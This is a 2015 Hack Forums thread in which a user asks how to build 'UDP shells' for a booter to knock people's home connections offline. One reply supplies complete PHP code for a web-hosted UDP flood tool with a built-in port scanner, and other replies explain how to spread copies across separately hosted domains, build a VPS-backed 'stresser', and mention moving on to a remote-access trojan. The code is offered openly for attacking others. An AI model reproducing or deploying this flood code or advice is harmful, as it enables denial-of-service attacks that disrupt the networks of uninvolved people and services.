

Forum:[Hack Forums](#)

Thread: [\[Help\] How Do I Create UDP Shells](#)

Forgiven_nL - November 25, 2015, 11:21 pm

If someone could tell me how to make my own udp shells I'm willing to pay you a little bit of \$. I've tried searching google and youtube but the results are the same, none explain the simple question I asked above. They all explain how to setup the site but not actually create the shell. I just want to make my own strong shell booter for myself.

With that said, I want to learn how to make every shell powerful af.

If anyone is capable of helping me with this please send me a pm, thanks!

Riggs - November 25, 2015, 11:39 pm

You need somewhere to host them, and these would need to be placed across domains on different individual hosts to have any effect. Free domains won't usually work as they have counter-measures designed to prevent resource intensive bandwidth spikes. Also note, a UDP protocol would follow the GET request.

Save the below code as a .txt file then rename it to shell.php and upload it to your domain.

Access via <http://yourwebsite.com/shell.php>

Code <html>

<body>

<center>

<STYLE>

input{

background-color: #00FF00; font-size: 8pt; color: black; font-family:

Tahoma; border: 1

solid #66;

}

button{

background-color: #00FF00; font-size: 8pt; color: black; font-family:

Tahoma; border: 1

solid #66;

}

body {

background-color: black;

}

</style>

<?php

//UDP

if(isset(\$_GET['host'])&&is_numeric(\$_GET['time'])){

```

$packets = 0;
ignore_user_abort(TRUE);
set_time_limit(0);

$exec_time = $_GET['time'];

$time = time();
//print "Started: ".time('d-m-y h:i:s')."<br>";
$max_time = $time+$exec_time;

$host = $_GET['host'];

for($i=0;$i<65000;$i++){
$out .= 'X';
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$rand = rand(1,65000);
$f = fsockopen('udp://'.$host, $rand, $errno,

$errorstr, 5);
if($f){
fwrite($f, $out);
fclose($f);
}
}
$f = fopen('log.php', 'a');
date_default_timezone_set('EST');
fwrite($f, "UDP flood at " .date("d/m/y h:i") . " + 1 Hour DST,

Completed with " .

$packets . " (" . round(($packets*65)/1024, 2) . " MB) packets

averaging " .

round($packets/$exec_time, 2) . " packets per second. On IP:

".$_GET['host'].", For "

".$_GET['time']. " Seconds \n");
fclose($f);
echo "<br><b>UDP Flood</b><br>Completed with $packets (" .

round(($packets*65)/1024, 2) . " MB) packets averaging " .

round($packets/$exec_time, 2) .

" packets per second \n";
echo '<br><br>'

```

```

<form action=""$surl." method=GET>
<input type="hidden" name="act" value="phptools">
Host: <br><input type=text name=host><br>
Length (seconds): <br><input type=text name=time><br>
<input type=submit value=Go></form>';
}else{ echo '<br><b>UDP Flood</b><br>
<form action=? method=GET>
<input type="hidden" name="act"

value="phptools">
Host: <br><input type=text name=host

value=><br>
Length (seconds): <br><input type=text

name=time value=><br><br>
<input type=submit value=Go></form>';
}

//port scanner
echo '<br><br><br><b>Port Scanner</b><br>';

if(isset($_GET['host']) && is_numeric($_GET['end']) &&

is_numeric($_GET['start'])){
for($i = $start; $i<=$end; $i++){
$f = @fsockopen($host, $i, $errno, $errstr, 3);
if($f){
echo 'Port '.$i.' is <font

color=green>open</font><br>';
}
flush();
}
$f = fopen('log.php', 'a');
date_default_timezone_set('EST');
fwrite($f, "Port Scan at " .date("d/m/y h:i:s") . " + 1 Hour DST, IP

Scanned: "

.$_GET['host']. " \n");
fclose($f);
}else{
?>
<form action="?" method="get">
<input type="hidden" name="act" value="phptools">
Host:<br />
<input type="text" name="host" value=""/><br />
Port start:<br />
<input type="text" name="start" value=""/><br />
Port end:<br />
<input type="text" name="end" value=""/><br /><br />
<input type="submit" value="Scan Ports" />

```

```

</form>
<?php>
}
?>
<h5><u>IPK</u></h5>
</center>
</body>
</html>

```

Congratulations, you've just successfully created a UDP shell.

White Partyhat - November 25, 2015, 11:47 pm

(Nov 26, 2015 12:39 AM)Riggs Wrote: [\[CITE\]](#) You need somewhere to host them, and these would need to be placed across domains on different individual hosts to have any effect. Free domains won't usually work as they have counter-measures designed to prevent resource intensive bandwidth spikes. Also note, a UDP protocol would follow the GET request.

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Tahoma; border: 1

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solid #66;
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body {
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}
</style>
<?php
//UDP
if(isset($_GET['host'])&&is_numeric($_GET['time'])){
$packets = 0;
ignore_user_abort(TRUE);
set_time_limit(0);

```

```

$exec_time = $_GET['time'];

```

```

$time = time();

```

```

//print "Started: ".time('d-m-y h:i:s')."<br>";
$max_time = $time+$exec_time;

$host = $_GET['host'];

for($i=0;$i<65000;$i++){
$out .= 'X';
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$rand = rand(1,65000);
$f = fsockopen('udp://'. $host, $rand, $errno,

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is_numeric($_GET['start'])){
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$fp = @fsockopen($host, $i, $errno, $errstr, 3);
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}
flush();
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}
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<h5><u>IPK</u></h5>
</center>
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</html>

Congratulations, you've just successfully created a UDP shell. Thank you for this, I also wanted to learn how!

OboeToke - November 26, 2015, 12:25 am

Lol usually shells are used so they the user can find a vuln on a site, ul the shell and take advantage of the vulnerable web server.

Forgiven_nL - November 26, 2015, 11:16 am

(Nov 26, 2015 12:39 AM)Riggs Wrote: [\[CITE\]](#) You need somewhere to host them, and these would need to be placed across domains on different individual hosts to have any effect. Free domains won't usually work as they have counter-measures designed to prevent resource intensive bandwidth spikes. Also note, a UDP protocol would follow the GET request.

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Length (seconds): <br><input type=text name=time><br>
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```

```

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So I need to upload shell.php once to every domain I buy and how many shells "domains" would I need for it to actually be powerful and just crash home connections? I'm talking about buying domains that are around \$1 each. I'm trying to get an idea of how much I'll be investing on this. Also, if you know of a great site to buy domains off from lmk.

Riggs - November 26, 2015, 11:43 am

(Nov 26, 2015 12:16 PM)Forgiven_nL Wrote: [\[CITE\]](#) So I need to upload shell.php once to every domain I buy and how many shells "domains" would I need for it to actually be powerful and just crash home connections? I'm talking about buying domains that are around \$1 each. I'm trying to get an idea of how much I'll be investing on this. Also, if you know of a great site to buy domains off from lmk.

The domains would need to be hosted on separate servers to be effective.

9000 shells through various domains all on the same server would be the equivalent to just using 1 shell 9000 times, which is pointless.

(Nov 26, 2015 01:25 AM)OboeToke Wrote: [\[CITE\]](#) Lol usually shells are used so they the user can find a vuln on a site, ul the shell and take advantage of the vulnerable web server.

Have no idea what you're talking about. OP is referring to shells used in a shell booter to UDP flood a connection.

?•?•? - November 26, 2015, 4:53 pm

yo
guess what

it's 2015

Card Shop - November 26, 2015, 4:58 pm

Are you trying to code your own or ?

Cuz the shell above will work, just upload it, and use it.

Also as the user stated above, it is 2015.

Proxseas - November 26, 2015, 6:00 pm

Spoiler [\(Click to View\)](#)

Forgiven_nL - November 26, 2015, 6:20 pm

Yes guys, I already moved on to bigger and better things.... luminositylink rat.

staunch - December 13, 2015, 12:18 am

make a stresser, get a webhosting(free to \$10), get a couple vps's(5 to 11 bux), make the vps's into a API then hook em up to your website